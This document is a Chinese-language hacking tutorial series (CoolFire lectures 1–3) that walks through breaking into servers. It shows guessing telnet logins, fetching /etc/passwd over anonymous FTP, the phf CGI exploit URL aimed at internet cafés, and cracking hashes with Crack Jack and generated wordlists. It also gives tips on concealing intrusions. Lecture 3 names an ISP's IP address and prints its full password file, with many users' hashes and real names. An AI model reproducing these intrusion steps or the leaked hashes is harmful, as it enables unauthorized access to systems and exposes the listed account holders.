CoolFire系列讲座第1讲作者:CoolFire [coolfires@] (2001-10-12 15:00:00) CoolHC Volume 1 By CoolFire Author E-Mail: coolfires@这不是一个教学文件, 只是告诉你该如何破解系统, 好让你能够将自己的系统作安全的保护, 如果你能够将这份文件完全看完, 你就能够知道电脑骇客们是如何入侵你的电脑, 我是CoolFire, 写这篇文章的目的是要让大家明白电脑安全的重要性, 并不是教人Crack Password 若有人因此文件导致恶意入侵别人的电脑或网路, 本人概不负责!!#1 甚么是Hacking ?就是入侵电脑! 有甚么好解释的! 大部份有关介绍Hacker 的书籍或小说及文件等都有清楚的介绍, 沉迷於电脑的人... 破坏... 唉! 一大堆怪解释就是了, 最好不要成为一个"骇客", 我... 不是!#2 为甚么要Hack ?我们只是为了要解更多关於系统的技术, 入侵它,了解它是如何运作的, 试试它的安全性, 然後学著去使用它, 读取系统中有关操作的说明, 学习它的各项操作!! 为了安全性而作革命!#3 Hack 守则1. 不恶意破坏任何的系统, 这样作只会给你带来麻烦.恶意破坏它人的软体将导致法律刑责, 如果你只是使用电脑, 那仅为非法使用!! 注意: 千万不要破坏别人的软体或资料!!2. 不修改任何的系统档, 如果你是为了要进入系统而修改它, 请在答到目的後将它改回原状.3. 不要轻易的将你要Hack 的站台告诉你不信任的朋友.4. 不要在bbs 上谈论你Hack 的任何事情.5. 在Post 文章的时候不要使用真名.6. 正在入侵的时候, 不要随意离开你的电脑.7. 不要侵入或破坏政府机关的主机.8. 不在电话中谈论你Hack 的任何事情.9. 将你的笔记放在安全的地方.10. 想要成为Hacker 就要真正的Hacking, 读遍所有有关系统安全或系统漏洞的文件(英文快点学好)!11. 已侵入电脑中的帐号不得清除或修改.12. 不得修改系统档案, 如果为了隐藏自己的侵入而作的修改则不在此限, 但仍须维持原来系统的安全性, 不得因得到系统的控制权而将门户大开!!13. 不将你已破解的帐号分享与你的朋友.#4 破解之道1. 进入主机中2. 得到/etc/passwd3. 得到系统帐号4. 得到最高权限-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- How 1.进入主机有好几种方式, 可以经由Telnet (Port 23) 或SendMail (Port 25)或FTP 或WWW (Port 80) 的方式进入, 一台主机虽然只有一个位址, 但是它可能同时进行多项服务, 所以如果你只是要"进入" 该主机, 这些Port 都是很好的进行方向. 当然还有很多Port, 但是DayTime 的Port 你能拿它作甚么??? 我不知道, 你知道吗?!底下的示范并不是像写出来的那么容易, 只不过是要让你解如何进入, 当然其中还有很多问题, 如打错指令...... 等等的毛病... 没有出现在课堂上, 但是我为了面子.... 一定要删掉这些不堪入目的东西嘛...示范进入主机的方法: (By CoolFire)(首先要先连上某一台你已经有帐号的Telnet 主机, 当然最好是假的, 也就是Crack过的主机, 然後利用它来Crack 别的主机, 才不会被别人以逆流法查出你的所在)Digital UNIX () (ttypa)login: FakeNamePassword:Last login: Mon Dec 2 03:24:00 from 255.255.0.0(我用的是 ... 当然是假的罗, 都已经经过修改了啦!!没有这一台主机啦!! 别怕! 别怕! 以下的主机名称都是假的名称, 请同学们要记得!!)Digital UNIX V1.2C (Rev. 248); Mon Oct 31 21:23:02 CST 1996Digital UNIX V1.2C Worksystem Software (Rev. 248)Digital UNIX Chinese Support V1.2C (rev. 3)(嗯... 进来了! 开始攻击吧! 本次的目标是......)> telnet (Telnet 试试看....)Trying 111.222.255.255...Connected to .Escape character is '^]'.Password:Login incorrect(没关系, 再来!!)cool login: hinetPassword:Login incorrectcool login:(都没猜对, 这边用的是猜的方法, 今天运气好像不好)telnet> closeConnection closed.(重来, 换个Port 试试看!!)> telnet 111.222.255.255 80Trying 111.222.255.255...Connected to 111.222.255.255.Escape character is '^]'.<HTML><HEAD><TITLE>Error</TITLE></HEAD><BODY><H1>Error 400</H1>Invalid request "" (unknown method)<P><HR><ADDRESS><A HREF="">CERN-HTTPD 3.0A</A></ADDRESS></BODY></HTML>Connection closed by foreign host.(哇哩!! 连密码都没得输入, 真是..... 再来!! 要有恒心!!)(换FTP Port 试试)> ftp 111.222.255.255Connected to 111.222.255.255.220 cool FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.Name (111.222.255.255:FakeName): anonymous331 Guest login ok, send your complete e-mail address as password.Password:230-Welcome, archive user! This is an experimental FTP server. If have any 230-unusual problems, please report them via e-mail to root@230-If you do have problems, please try using a dash (-) as the first character230-of your password -- this will turn off the continuation messages that may230-be confusing your ftp client.230-230 Guest login ok, access restrictions apply.Remote system type is UNIX.Using binary mode to transfer files.(哇! 可以用anonymous 进来耶!! password 部份输入aaa@ 就好了! 不要留下足迹喔!!)ftp> ls200 PORT command successful.150 Opening ASCII mode data connection for file list.etcpubusrbinlibincomingwelcome.msg226 Transfer complete.(嗯嗯... 太好了! 进来了!! 下一个目标是.....)ftp> cd etc250 CWD command successful.ftp> get passwd (抓回来!!)200 PORT command successful.150 Opening BINARY mode data connection for passwd (566 bytes).226 Transfer complete.566 bytes received in 0.56 seconds (0.93 Kbytes/s)(喔... 这么容易吗??)ftp> !cat passwd (看看!!!)root::0:0:root:/root:/bin/bashbin:*:1:1:bin:/bin:daemon:*:2:2:daemon:/sbin:adm:*:3:4:adm:/var/adm:lp:*:4:7:lp:/var/spool/lpd:sync:*:5:0:sync:/sbin:/bin/syncshutdown:*:6:0:shutdown:/sbin:/sbin/shutdownhalt:*:7:0:halt:/sbin:/sbin/haltmail:*:8:12:mail:/var/spool/mail:news:*:9:13:news:/var/spool/news:uucp:*:10:14:uucp:/var/spool/uucp:operator:*:11:0:operator:/root:/bin/bashgames:*:12:100:games:/usr/games:man:*:13:15:man:/usr/man:postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bashftp:*:404:1::/home/ftp:/bin/bash(哇哩... 是Shadow 的... 真是出师不利.... )ftp> bye221 Goodbye.(不信邪.... 还是老话, 要有恒心....)(FTP 不行, 再Telnet 看看!!)> telnet Trying 111.222.255.255...Connected to .Escape character is '^]'.Password:Login incorrect(又猜错!!)cool login: fuckyouPassword:Last login: Mon Dec 2 09:20:07 from 205.11.122.12Linux 1.2.13.Some programming languages manage to absorb change but withstand progress.cool:~$(哇哈哈!! 哪个笨root, 用system name 作username 连password 也是system name.... 总算... 没白玩...)cool:~$ systembash: system: command not found(嗯... 这个user 的权限好像不大....)cool:~$ lscool:~$ pwd/home/fuckyoucool:~$ cd /cool:/$ lsPublic/ cdrom/ lib/ mnt/ tmp/ www/README dev/ linux* proc/ usr/bin/ etc/ local/ root/ var/boot/ home/ lost+found/ sbin/cool:/$ cd etctelnet> quit(好想睡呀!! 不玩了!! 下节课再开始....)Connection closed.> exit(走了!! 下节课在见啦!! 今天就上到这里! 老师要先下班了!!)(有学生说: 骗人! 还没有破解呀!! 胡说! 不是已经进来了吗???看看这节课上的是甚么??? ---->进入主机!! 嗯.....)-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- How 2.上节课抓回来一个"乱七八糟" 的/etc/passwd, 你以为我的真那么笨吗?? guest 所抓回来的能是甚么好东西?? 所以这一节课继续上次的攻击行动. 上节课我们已经"猜" 到了一个不是guest 的username 及password. 今天就以它来进入主机瞧瞧!!Digital UNIX () (ttypa)login: FakeNamePassword:Last login: Mon Dec 2 03:24:00 from 255.255.0.0Digital UNIX V1.2C (Rev. 248); Mon Oct 31 21:23:02 CST 1996Digital UNIX V1.2C Worksystem Software (Rev. 248)Digital UNIX Chinese Support V1.2C (rev. 3)(嗯... 进来了! 开始攻击吧! 本次的目标是.....呵...)> telnet (Telnet 试试看.... 昨天的位址, 有作笔记吧!)> telnet Trying 111.222.255.255...Connected to .Escape character is '^]'.Password:Login incorrectcool login: fuckyouPassword: (一样输入fuckyou)Last login: Mon Dec 1 12:44:10 from Linux 1.2.13.cool:~$ cd /etccool:/etc$ lsDIR_COLORS ftpusers localtime resolv.conf HOSTNAME gateways magic rpc NETWORKING group mail.rc securetty NNTP_INEWS_DOMAIN host.conf motd sendmail.cfX11@ hosts messages/ sendmail.stXF86Config hosts.allow mtab servicesat.deny hosts.deny mtools shells bootptab hosts.equiv named.boot shutdownp csh.cshrc hosts.lpd networks snoopy/ csh.login httpd.conf nntpserver slip.hosts exports inetd.conf passwd snooptab fastboot inittab passwd.OLD syslog.conf fdprm issue passwd.old syslog.pid fstab ld.so.cache printcap ttys ftpaccess ld.so.conf profile utmp@(找寻目标..... 太乱了! 懒得找, 再来....)cool:/etc$ ls pa*passwd passwd.OLD passwd.old(果然在)cool:/etc$ more passwd(看看有没有Shadow...)root:acqQkJ2LoYp:0:0:root:/root:/bin/bashjohn:234ab56:9999:13:John Smith:/home/john:/bin/john(正点! 一点都没有防备!!)cool:/etc$ exitlogout(走了!.... 换FTP 上场!!)Connection closed by foreign host.> ftp Connected to .220 cool FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.Name (:66126): fuckyou331 Password required for fuckyou.Password:230 User fuckyou logged in.Remote system type is UNIX.Using binary mode to transfer files.ftp> cd /etc250 CWD command successful.ftp> get passwd200 PORT command successful.150 Opening BINARY mode data connection for passwd (350 bytes).226 Transfer complete.350 bytes received in 0.68 seconds (1.9 Kbytes/s)ftp> !cat passwdroot:acqQkJ2LoYp:0:0:root:/root:/bin/bashjohn:234ab56:9999:13:John Smith:/home/john:/bin/john(看看! 呵! 假不了!!......)ftp> bye221 Goodbye.> exit(闪人罗!! 下课!!.... 喔慢点, 还有事要说明......)passwd 的Shadow 就是把passwd 放在shadow 档中, 而你原先在第一节课所看到的这个格式的passwd 并不是真正的passwd....root::0:0:root:/root:/bin/bash因为密码的部份没有东西.... 所以拿了也没有用!! 但这一节课所拿到的东西呢, 像是这样, 有几点需要说明的, 就是它究竟代表著甚么???john:234ab56:9999:13:John Smith:/home/john:/bin/sh它以":" 分成几个栏位, 各栏位对照如下:User Name: johnPassword:234ab56User No: 9999Group No: 13Real Name: John SmithHome Dir: /home/johnShell: /bin/sh了吧! 了吧! 保留著你千辛万苦所拿到的passwd, 咱们第三节课再来告诉各位如何使用Crack Jack 把passwd 解码.... 呵呵... zzZZzZzz...-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-Crack Jack V1.4 中文使用说明(By CoolFire 12-1-1996)嗯... 该到第三课了!! 累了的同学先去喝口水吧!这一节课咱们来说说Crack Jack ! 这可是个解读/etc/passwd 的好工具喔, 不要告诉我你习惯用Brute, 拿Brute 跟Crack Jack 的速度比比看, 包准你马上投向Crack Jack 1.4 的怀抱, 但请先确定你所使用的是Crack Jack 1.4, 你可以在CoolFire 的Hacker&Mailer Page 中拿到这个版本的Crack Jack ! 这才是真正有用的版本, 速度... 对... 就是这点别人都比不上! 但还是要讲讲它的缺点... 就是只能在DOS 跟OS2 中跑, 如果在Windoz 95 上开个DOS Mode 跑, 它可是连理都不会理你的!OK! 现在切入正题! etc/passwd 拿到手了吧!! 开始罗!! 使用Crack Jack 1.4 前所需要的东西有这些[1] Crack Jack 1.4 (废话...$%^&@@) [2] /etc/passwd 档案, 你可以在Unix 系统中的/etc/ 目录中找到passwd [3] 字典档(哪里找, 自己敲... 呵ClayMore 中有一份DIC.TXT是有一千多个字的字典, 但比起我的字典可就小巫见大巫了, LetMeIn! 1.0 里面也有, 听James说 2.0 Release 的时候会有更棒的字典档含入, 期待吧!).... 使用Crack Jack 1.4 前需先确定你所使用的机器是386 含以上CPU 的! 然後最好有充足的记忆体!!开始Jack 时只要敲入JACK 即可, 它会问你PW Name... 输入你的passwd 档名, DictionaryName 输入你的字典档名, Jack 就会开始找了! 找到时会告诉你, 也会在JACK.POT 中写入它所找到的密码!! 但... 有点怪的格式! 如果找到的是具root 权限的密码, Jack 会告诉你This isJackAss... 嗯...说脏话了!! 因为使用Jack 占用的时间实在太多, 如果你中途想要停掉时只要按下Ctrl-C 即可, 别以为你前功尽弃了! 因为Jack 有个Restore 的功能, 中断时会自动存档为RESTORE, 下次要继续这次的寻找只要输入Jack -Restore:RESTORE 即可!! 当然你也可以为你的Restore 重新命名! Jack 也会找得到的... 如Ren restore restore.HNT 之後要再寻找的时後就Jack -Restore:RESTORE.HNT 即可... Jack 会很自动的Restore 前次所寻找的字串...继续帮你找下去....字典档哪里找: 我的不给你! 可以找别的Brute Force 之类的程式, 有些里面会附, 或是找找其它的Hacker 地下站看看有没有, 自己编一个, 或找个英汉字典软体将字典的部份解出来, 可能要有一点资料栏位及写程式的基础.[这一节课没有范例] 成功的案例: 找到过某家网路咖啡店的root 权限密码! Jack 好正点呀!!!所花的时间: 20 分钟左右... 但也有找了一两天也找不到的..... 呜... 骇客们! 加油吧!!继续CoolFire系列讲座第2讲作者:CoolFire [coolfires@] (2001-10-12 15:00:00) CoolHC Volume 1By CoolFire Author E-Mail: coolfires@这不是一个教学文件, 只是告诉你该如何破解系统,好让你能够将自己的系统作安全的保护, 如果你能够将这份文件完全看完, 你就能够知道电脑骇客们是如何入侵你的电脑, 我是CoolFire, 写这篇文章的目的是要让大家明白电脑安全的重要性, 并不是教人Crack Password 若有人因此文件导致恶意入侵别人的电脑或网路, 本人概不负责!!话说上次CoolFire 讲到许多的Net Coffee 店, 安全性之差实在是没话说,但是过了这麽久也不见有几家改进, 可能是想让自己的电脑被别人玩弄在股掌之间吧, 但可不是每个人都像CoolFire这样温和, 如果遇到的是比较狠一点的角色, 那你的Net Coffee 可能要有一两天只卖Coffee 而没办法再Net 下去了!!继CoolHC#1 推出後, 有许多人是否已经跃跃愈试了呢?? 这次咱们不谈新的花招,用用之前所讲的再来探险一番, 当然, 这一次我照往例还是不会使用真正的Domain Name 来作教学,但是课程中的所有内容绝对属实, 当然本次攻击的对象还是.... Net Coffee Shop....**谈一下Crack Jack 猜猜密码许多人从上一次介绍Crack Jack 之後就应该已经领教过它的功力了,但是有几点需要说明的,有些人使用Jack 来帮你寻找password, 我就当你已经抓到了没有shadow 的/etc/passwd,但是为甚麽使用Jack 还是找不到呢?? 我想你应该要换个正点一点的字典档了, 因为Jack 还是根据你所提供的字典档在寻找, 如果你提供的字典本身就没有这些字,那当然连一个小小帐号的密码你都别想猜到了. 数一下你所使用的字典档中有多少字???我用的字典档有十九万多个字, 你的呢? 是不是小巫见大巫呀?? 那麽就赶快充实一下字典档再重新寻找吧!!许多人的密码都有一定的法则, 我自己写了PaSs2DiC 就是将UserName 由passwd档转成字典档的工具, 这是对一些喜欢使用UserName 当作Password 的人最好的方式,但是也曾经好运的找到别人的密码, 真不晓得"甲"是不是暗恋"乙"才用"乙"的ID 作为密码的???你可以很简单的使用Qbasic 来制作"序数" 密码, 或日期密码, 底下简单的作一个0101 (一月一日) 到1231 的密码档出来:------------Cut Here MakeDate.BAS -------------------Open "Dates" for output as #1for I=1 to 12for J=1 to 31I1$=rtrim$(ltrim$str$(I)))J1$=rtrim$(ltrim$str$(J)))if len(I1$)=1 then I1$="0"+I1$if len(J1$)=1 then J1$="0"+J1$Out$=I1$Content$J1$print #1,Out$next Inext Jclose------------ Cut Here End MakeDate.BAS ----------------这支小程式将会写一个"DATES" 的档案, 里面就是你要的字典, 当然啦,这只是包含月跟日!!如果你要猜的密码是含年份的, 你可能要再增加一些程式码, 再Run 一次试试看了,不过这是一个好的开始不是吗??**如何保护自己的密码谈了这麽多的密码猜法, 当然要谈一下如何保护自己的密码不被破解,请遵守以下的原则: [1]不用生日作为密码(太容易猜了啦) [2]不用序数作为密码(除非你的序数无限大) [3]不用身份证字号作为密码(LetMeIn! 里有猜身份证字号的功能耶)[4]不用在字典中查得到的字作为密码.那麽依照上面的几点说法, 甚麽样子的密码最不容易猜, 自己也最好记呢?? 答案是:用一句有意义的话来作为自己的密码, 例如: NoOneCanCrackIt 就是一个很难猜的密码类型, 基於这个密码猜法的原则, 你的密码是不是要作些更新, 或是大小写要作一些对调?? 如果你的密码是coolfire,建议你最好能改成CoolFire 或coolfires (加复数"s"),这样被猜中的机率就小了很多. 如果你是一个Hacker, 你的密码也被人猜中的话... 那...#%%^^^&@**正式的话题这次的话题当然还是Crack, 相信许多人已经看过CoolHC#1 了,当然眼尖的人可能也已经D/LSystem Holes 试过了, 你有成功的例子吗?? 如果没有, 这份CoolHC#2可能就是你的强心针,因为这次谈的正是System Holes #1 成功的案例.Step 1. 连线到"蕃薯藤" 找"网路咖啡" 找到好多家网路咖啡的WWW 网址, 一一连上去试试看在System Holes #1 中的方法可不可行.Step 2. 若可行则会传回/etc/passwd 资讯, 存档後迅速Logout, 使用Crack Jack解读!![[实例探讨]]System Holes #1 中所介绍的WWW 入侵法是这样子的:/cgi-bin/nph-test-cgi?* 後再/cgi-bin/phf?Qalias=x%0aless%/20/etc/passwd[1] 用WWW Browser 连到[2] Location 输入--> "/cgi-bin/nph-test-cgi?*"[3] 接著如果出来一份像Report 的画面的话, 接著输入/cgi-bin/phf?Qalias=x%0aless%20/etc/passwd[4] 发生了甚麽事?? etc/passwd 在你的浏览器中"显示" 出来了!! 快点Save 吧!!这个方法所用的是系统"检索" 的漏洞, 不提供这个功能,或是伺服器检索类型不同的机器则不会接受这样的指令, 当然也就逃过我们这次的模拟演练啦!! 但是.... 相信我,你一定会找到一家脱线的网路咖啡, 并没有像我们一样每天阅读Mail List 的信,对系统安全一点研究也没有的人不在少数. 就是这样的一个Net Coffee Shop... 呵.... 快来试试吧!!当CoolFire 抓到/etc/passwd 後, 立刻存档, 也马上断线, 并且拿出UltraEdit 来瞧一下使用者的资讯, 当然这个小passwd 对Crack Jack 来说, 实在是不够看,没几分钟就在我的486 机器上显示出来几个以UserName 作为Password 的资讯(归功於PaSs2DiC 及CrackJack 的功劳)不过当我试著找寻root 的密码时, 一想到我那将近20 万字的字典档,就想到可能花费的时间一定相当的惊人, 於是就以Jack 的Option 设定只寻找root 那一行, ...(过了良久)... 果不然又是一个笨root. 用了"非常" 容易猜的密码... <--- This is JackAss... 呵!! GotIt!如果你所使用的机器速度不是顶快, 你最好能够到快一点的机器上使用Crack Jack,不然你也可以将字典档切割成几个小档案, 然後再分别在几台机器上跑, 我目前使用的配备是486DX4-13032MB RAM, 3.2GB HDD, 近20 万字的字典档, 如果在分析较大的passwd档时我会将字典档切割为四至五个小档(看有多少台机器可跑),然後在周末下班前在公司的几台机器上分别执行CrackJack, 等到礼拜一上班时就等著接收成果了! 当然如果你只有一台机器, passwd 档又很大的话,由於Crack Jack 无法於Windoz 95 下使用, 你可能只能牺升时间或机器来跑了! 再没有办法的话, 亦可使用单机多工, 多开几个DOS Box 来跑Brute, 也许也是一个可行的办法!**後语有许多人在使用Crack Jack 的时候有许多问题, 不过看了CoolHC#1 应该都解决了吧?? 最近大家问的比较多的是UpYours 3.0, 虽然已经改进了Install 的问题,不过大家的问题还是都出在Winsck.ocx 上面, 有人说装了MSICP Beta 会好?? 但也有实例装了也还不能Run 的,在此建议大家不要再玩MailBomb 了, 虽然我喜欢收集这种东西, 但还是少乱炸为妙,已经证实有许多常用的MailBomb 没有办法Fake IP 了!! 所以... 如果UpYours 3.0装不起来的人就试试KaBoom!V3.0 吧! 虽然没有办法Fake IP (选错Mail Server 的话), 但是也是一个不错的AnonyMailer如果要发匿名信, 现在首页上有可以帮你发信的Mailer, 会安全一点.如果你仍旧对UpYours 3.0 不死心, 就试试ResSvr32.exe (Under Windows/systemdirectory),看看能不能将WinSck.ocx 装上了... 记得先UnReg 再Reg...在此建议大家可以多订阅一些"系统安全" 讨论的Mail List或多参考一些已经被找出来的系统漏洞, 因为有些人对这些方面并不是很重视, 所以这些资讯也就显得格外的重要了,如果能够多参考一些资讯, 在你入侵的时候会有很大的帮助, 当然, 如果你能作出一份列表出来,放在手边参考的话, 就可以快速的; 安全的入侵了!! 下一次所谈的是SendMail 的Bug 实例,在这中间当然照往例会先出一份System Holes #2 来作为资料. 如果有兴趣的人在SH#2 出来的时候可以先研究看看. 下次见! Merry X'Mas..... & Happy New Year.......------上次讲的Home Page 建置案还没搞完, 没有充实一下Home Page 实在是对不起大家,所以利用一点时间写了CoolHC#2, 可能报告又交不出来了!! 老话,如果你有兴趣写其它程式的中文说明, 请完成後寄一份给我, 我将它放在Home Page 上面让其它人参考,当然你也可以给我你的使用心得, 让别人参考看看也行! 目前准备收集一系列的System Hole List,如果你在其它的站台有看到的, 请把它先Cut 下来, Mail 一份给我!------再次重申, Crack 别人站台之後不要破坏别人站台中的资料, 此篇文章仅作为教育目的,不主张你随便入侵他人主机.... (高-Net 还是除外)... 请勿将这类技术使用於破坏上(又...如果第三次世界大战开打, 你可以任意破坏敌国的电脑网路... 我全力支持),最严重的情况(如果你真的很讨厌该主机的话)... 就将它Shut Down.... 好了! 别太暴力了!CoolFire系列讲座第3讲:如何连接ISP并且对其解码作者:CoolFire [coolfires@] (2001-10-13 08:05:00) CoolHC Volume 3 By CoolFire Author E-Mail: coolfires@这不是一个教学文件, 只是告诉你该如何破解系统, 好让你能够将自己的系统作安全的保护, 如果你能够将这份文件完全看完, 你就能够知道电脑骇客们是如何入侵你的电脑, 我是CoolFire, 写这篇文章的目的是要让大家明白电脑安全的重要性, 并不是教人Crack Password 若有人因此文件导致恶意入侵别人的电脑或网路, 本人概不负责!!前几次说到了Net Coffee 店, 还好他们没有提供客户拨接上线的功能, 不然密码或是帐号被人盗用的客户不就糗大了! 但是CoolFire 在这两周的探险中, 为了找一个酷似网路咖啡站台的W3 密码,误入一个号称第一个提供网路拨接的ISP, 且在CoolFire 顺利的抓回/etc/passwd 之後, 使用了自己写的PaSs2DiC + CJack 来解出密码, 没想到不用 1 分钟, 就找出了9 组ID 与Password 相同的密码,勿怪我没有在这里提醒大家, 还好我没有找到root password, 不然可能该系统就此停摆, 不可再见天日也! (当然我不可能这么作啦!).看看最近兴起的网路咖啡及各大网站的系统安全设施, 再加上CoolFire 最近开会的时候遇到的情况, 不难发现我们的国家正往高科技的领域快步迈进, 但是这些系统的安全性若不加强, 可能到时候人家只要一台电脑再加上一台数据机就可以让整个国家的金融及工商业崩溃! 大家要小心呀!ISP 是一般User 拨接的源头, 技术上理应比较强, 但还是轻易让人入侵, 且又没有教导User 正确的网路使用观念(Password 的设定及proxy 的使用等), 实在不敢想像这样的网路发展到几年後会是甚么样子??这一次的说明还是没有谈到新的技巧, 在James 将首页更新後各位应该已经可以从中学到许多东西了, 如果想要学习入侵, 就一定要知道最新的资讯(入侵本国的网路则不用, 反正没人重视网路安全..... 真失望), 在别人还没将Bug 修正之前就抢先一步拿到/etc/passwd, 所以订阅一些网路安全的Mail List 是必要的, 多看一些网安有关的News Group 也是必要的(不仅Hacker 如此, ISP 更要多注意这些资讯!). 日後有空再整里一些Mail List 给大家!!本次主题: 说明如何连接该ISP 并且对其/etc/passwd 解码连接位址: (203.66.169.11)特别说明: 由於本次主题说明重点使用真实的位址及名称, 所以CoolFire 已经Mail 给该网页之维护人员更改密码, 但该网页之ISP 仍为新手之练习好题材! CoolFire Mail 给该网页维护人员之信件内容如下, 如果他还不尽快改掉, 我也没办法了!Mail sent to dhacme@:Subject: 请速更动网页密码From: CoolFire <coolfires@>你的网页作得不错, 但是因为你所设定的密码太容易为骇客所? 入侵, 请於见到此信後速速更改你的网页进入密码, 否则下次若网页遭到篡改, 本人概不负责!!**** 课程开始****请注意: 由於本次所作的课程内容以实作为主, 除了本人IP 有所更改, 一切都使用本人所用之Telnet 软体Log 档收录, 故若道德感不佳者请勿阅读以下之详细破解内容, 否则本人概不负责!(连线到某一主机之後.... 此处的.tw 是假的Domain name).tw> telnet Trying 203.66.169.11...Connected to .Escape character is '^]'.Password: (随便按一下Enter)Login incorrectwww login: coffee (以Hacker 的敏锐判断username=coffee password=coffee)Password:Last login: Thu Jan 9 10:41:52 from .tw欢迎光临....... 以下略! 因涉及该ISP 的名誉, 大家自己去看吧!================================================================= (直接进入核心部份)www:~$ cd /etcwww:/etc$ lsDIR_COLORS hosts.equiv printcapHOSTNAME hosts.lpd profile NETWORKING inet@ protocolsNNTP_INEWS_DOMAIN inetd.conf psdevtabX11@ inittab rc.d/at.deny inittab.gettyps.sample resolv.confbootptab ioctl.save rpccsh.cshrc issue securettycsh.login securetty.olddefault/ klogd.pid sendmail.cfdiphosts ld.so.cache sendmail.stexports ld.so.conf servicesfastboot lilo/ shellsfdprm lilo.conf shutdownpidfs/ localtime skel/fstab magic slip.hostsftp.banner mail.rc slip.loginftp.deny motd snooptabftpaccess motd.bak sudoersftpconversions msgs/ syslog.confftpgroups mtab syslog.pidftpusers mtools termcapgateways named.boot ttysgettydefs networks utmp@group nntpserver vga/host.conf passwd wtmp@hosts passwd.OLD yp.conf.example hosts.allow passwd.oldhosts.deny ppp/(看看我们的目标长得如何???)www:/etc$ cat passwdroot:abcdefghijklmn:0:0:root:/root:/bin/bashbin:*:1:1:bin:/bin:daemon:*:2:2:daemon:/sbin:adm:*:3:4:adm:/var/adm:lp:*:4:7:lp:/var/spool/lpd:sync:*:5:0:sync:/sbin:/bin/syncshutdown:*:6:0:shutdown:/sbin:/sbin/shutdownhalt:*:7:0:halt:/sbin:/sbin/haltmail:*:8:12:mail:/var/spool/mail:news:*:9:13:news:/usr/lib/news:uucp:*:10:14:uucp:/var/spool/uucppublic:operator:*:11:0:operator:/root:/bin/bashgames:*:12:100:games:/usr/games:man:*:13:15:man:/usr/man:postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bashnobody:*:-1:100:nobody:/dev/null:ftp:*:404:1::/home/ftp:/bin/bashguest:*:405:100:guest:/dev/null:/dev/nullshan:Ca3LGA8gqDV4A:501:20:Shan Huang:/home/staff/shan:/bin/bash www:/U5N5/l0B.jWo:502:20:WWW Manager:/home/staff/www:/bin/bash test:aFoIbr40sdbiSw:503:100:test:/home/test:/bin/bashfax:aHhi5ZoJwWOGtc:504:100:FAX_SERVICE:/home/staff/fax:/bin/bash women:IiO94G5YrrFfU:505:100:Perfect Women:/home/w3/women:/bin/bash kanglin:aMjy/8maF4ZPHA:506:100:Kanglin:/home/w3/kanglin:/bin/bash coffee:AlwDa18Au9IPg:507:100:Coffee:/home/w3/coffee:/bin/bash bakery:aFm7GUGCuyfP2w:508:100:Bakery:/home/w3/bakery:/bin/bash carven:aPaqr3QAdw8zbk:509:100:Carven:/home/w3/carven:/bin/bash haurey:/2m87VjXC742s:510:100:Haurey:/home/w3/haurey:/bin/bash prime:nPOlsQhQFJ.aM:511:100:Prime:/home/w3/prime:/bin/bashtham:H2AOlPozwIIuo:512:100:xxxxxxxxxx:/home/w3/tham:/bin/bashccc:aFiKAE2saiJCMo:513:100:ccc:/home/w3/ccc:/bin/bashsk:UPrcTmnVSkd3w:514:100:sk:/home/sk:/bin/bashservices:9yBqHWfnnNr.k:515:100:xxxx:/home/w3/haurey/services:/bin/bash order:LpnMHVjy9M/YU:516:100:xxxx:/home/w3/haurey/order:/bin/bash corey:mhRsFO60hFsMU:517:100:xxxx:/home/w3/haurey/corey:/bin/bashrichard:EmUWnU6Bj7hQI:519:100:richard:/home/w3/richard:/bin/bashlilian:Opx5xwctJTO1A:520:100:lilian:/home/w3/lilian:/bin/bashsupport:JdOqvTZqdZ9wQ:521:100:support:/home/w3/support:/bin/bash hotline:BiSzCJsDhVl7c:522:100:hotline:/home/w3/hotline:/bin/bashstonny:/UNPsb9La4nwI:523:20::/home/staff/stonny:/bin/cshbear:w/eF/cZ32oMho:524:100:bear:/home/w3/bear:/bin/bashlance:Pf7USG6iwgBEI:525:20:Chien-chia Lan:/home/staff/lance:/bin/tcsh taiwankk:ijPWXFmRF79RY:526:100:hotline:/home/w3/taiwankk:/bin/bash service:ulfWaOzIHC.M.:527:100:prime service:/home/w3/service:/bin/bash liheng:6hGixt6Kgezmo:528:100:prime liheng:/home/w3/liheng:/bin/bashcaves:RyvviMcWTTRnc:529:100:gallery:/home/w3/caves:/bin/bashsales:CmtV4FZsBIPvQ:518:100:prime:/home/w3/prime/sales:/bin/bashkingtel:8E7f0PIQWfCmQ:530:100:kingtel:/home/w3/kingtel:/bin/bashrecycle1:JgbZHVRE4Jf3U:531:100:recycle1:/home/w3/recycle1:/bin/bashrecycle2:Qg85xgdnsqJYM:532:100:recycle2:/home/w3/recycle2:/bin/bashrecycle3:XhyoUBFQspiS2:533:100:recycle3:/home/w3/recycle3:/bin/bash recycle:109mNZYIZtNEM:534:100:recycle:/home/w3/recycle:/bin/bashhxnet:KhB./jHw.XNUI:536:100:hxnet:/home/w3/hxnet:/bin/bashgoodbook:MlD0tx.urQMYc:535:100:goodbook:/home/w3/goodbook:/bin/bash sales1:JmKzPOBMIIYUI:537:100:sales1:/home/w3/prime/sales1:/bin/bashrwu:Pai8mYCRQwvcs:539:100:rwu:/home/w3/kingtel/rwu:/bin/bashcharliex:Of6HaxdxkDBDw:540:100:charliex:/home/w3/kingtel/charliex:/bin/bash jdlee:Mhq3gZNup9E3Q:538:100:jdlee:/home/w3/kingtel/jdlee:/bin/bash tkchen:GkTU8ecYIXEyw:541:100:tkchen:/home/w3/kingtel/tkchen:/bin/bashslb:Olf22.gHBZ.QQ:542:100:slb:/home/w3/kingtel/slb:/bin/bashs6t4:GnHFCPdZX7nkU:543:100:s6t4:/home/w3/kingtel/s6t4:/bin/bashlsh:GftygyOntHY6Y:545:100:lsh:/home/w3/kingtel/lsh:/bin/bashlilly:DhKHmlKPE6tRk:544:100:lilly:/home/w3/kingtel/lilly:/bin/bashnalcom:MhHdQ1mvge9WQ:546:100:nalcom:/home/w3/prime/nalcom:/bin/bash 